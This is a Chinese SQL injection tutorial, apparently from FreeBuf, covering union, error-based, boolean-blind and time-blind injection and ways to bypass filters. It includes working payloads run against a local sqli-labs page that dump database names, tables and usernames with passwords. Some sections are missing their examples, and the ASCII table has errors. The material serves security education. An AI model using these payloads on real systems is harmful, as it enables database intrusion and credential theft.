SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)
union注入
总结:
报错注入:
extractValue() 报错注入
concat用法concat(1,2)输出为12,将第一个和第二个连接起来为了让路径报错
updatexml报错注入
floor报错
函数 | 作用 |
---|---|
rand() | 随机返回0~1之间的小数 |
floor() | 小数向下取整数 |
ceiling() | 小数向上取整数 |
concat_ws() | 将括号内数据用第一个字段连接起来 |
as | 别名 |
group by | 分组 |
count() | 汇总统计数量 |
limit | 这里用于显示指定行数 |
布尔盲注
盲注:页面没有报错回显,不知道数据库具体返回值的情况,对数据库中的内容进行猜解,实行sql注入
布尔盲注:web页面只返回True、False两种类型;利用页面返回不同,逐个猜解数据
有真假两种类型的页面
ascii() | 转换为对应的ASCII码值 |
---|
subdtr(查询语句,第几个字符,显示几个)
?id=1' and ascii(substr('语句',1,1))>97 --+
ASCII表
ASCII值 | 控制字符 | ASCII值 | 控制字符 | ASCII值 | 控制字符 | ASCII值 | 控制字符 |
0 | NUL | 32 | (space) | 64 | @ | 96 | 、 |
1 | SOH | 33 | ! | 65 | A | 97 | a |
2 | STX | 34 | ” | 66 | B | 98 | b |
3 | ETX | 35 | # | 67 | C | 99 | c |
4 | EOT | 36 | $ | 68 | D | 100 | d |
5 | ENQ | 37 | % | 69 | E | 101 | e |
6 | ACK | 38 | & | 70 | F | 102 | f |
7 | BEL | 39 | ' | 71 | G | 103 | g |
8 | BS | 40 | ( | 72 | H | 104 | h |
9 | HT | 41 | ) | 73 | I | 105 | i |
10 | LF | 42 | * | 74 | J | 106 | j |
11 | VT | 43 | + | 75 | K | 107 | k |
12 | FF | 44 | , | 76 | L | 108 | l |
13 | CR | 45 | - | 77 | M | 109 | m |
14 | SO | 46 | . | 78 | N | 110 | n |
15 | SI | 47 | / | 79 | O | 111 | o |
16 | DLE | 48 | 0 | 80 | P | 112 | p |
17 | DCI | 49 | 1 | 81 | Q | 113 | q |
18 | DC2 | 50 | 2 | 82 | R | 114 | r |
19 | DC3 | 51 | 3 | 83 | X | 115 | |
20 | DC4 | 52 | 4 | 84 | T | 116 | t |
21 | NAK | 53 | 5 | 85 | U | 117 | u |
22 | SYN | 54 | 6 | 86 | V | 118 | v |
23 | TB | 55 | 7 | 87 | W | 119 | w |
24 | CAN | 56 | 8 | 88 | X | 120 | x |
25 | EM | 57 | 9 | 89 | Y | 121 | y |
26 | SUB | 58 | : | 90 | Z | 122 | z |
27 | ESC | 59 | ; | 91 | [ | 123 | { |
28 | FS | 60 | < | 92 | \ | 124 | | |
29 | GS | 61 | = | 93 | ] | 125 | } |
30 | RS | 62 | > | 94 | ^ | 126 | ~ |
31 | US | 63 | ? | 95 | — | 127 | DEL |
布尔盲注闭合符的判断
时间盲注
无报错、无回显、无真假值,web页面只返回一个正常页面;利用页面响应时间不同,逐个猜解数据
前提是数据库会执行命令代码,只是不反馈页面信息
函数 | 作用 |
---|---|
sleep() | 参数为休眠时长,以秒为单位 |
if(condition,true,false) | condition为条件,当条件为真执行,当条件为假时执行 |
1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) #
成功延迟两秒响应为闭合符
SQL注入过滤绕过
注释符绕过sql语句为
SELECT * FROM users WHERE id='-1' union select 1,(select database()),'3' limit 0,1
为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以
•获取数据库 http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3 此处获取的数据库为security •查看security库数据表 http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3 •查看users表的所有列 http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3 •获取内容 http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3
and和or过滤绕过
&&可能不能识别,转换为url编码%26%26
空格过滤绕过
用+号代替空格
使用报错注入(无空格)
1'||extractvalue(1,concat(0x7e,database()))||'1'='1
select和union过滤绕过
1、用注释符变形
如 un/**/ion2、大小写
uNion seLect3、尝试复写单词
ununionion seleselectct
宽字节注入绕过
addslashes() 函数
在指定的预定义字符前添加反斜杠
这些字符是 ' " \ NULL
当写入或查询用户名“1”时,数据库会识别单引号 ’ 为闭合符号,要求再输入一个单引号将其闭合,只查询 “1” 而没办法查询 " 1’ "
如果输入 " 1’ ",使 ’ 失去闭合符的功能,则数据库会识别为 " 1’ "
?id=1 ’ 单引号实际变为 ’ 无法识别为闭合符,从而防范sql注入
宽字节绕过前提为GBKB编码
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)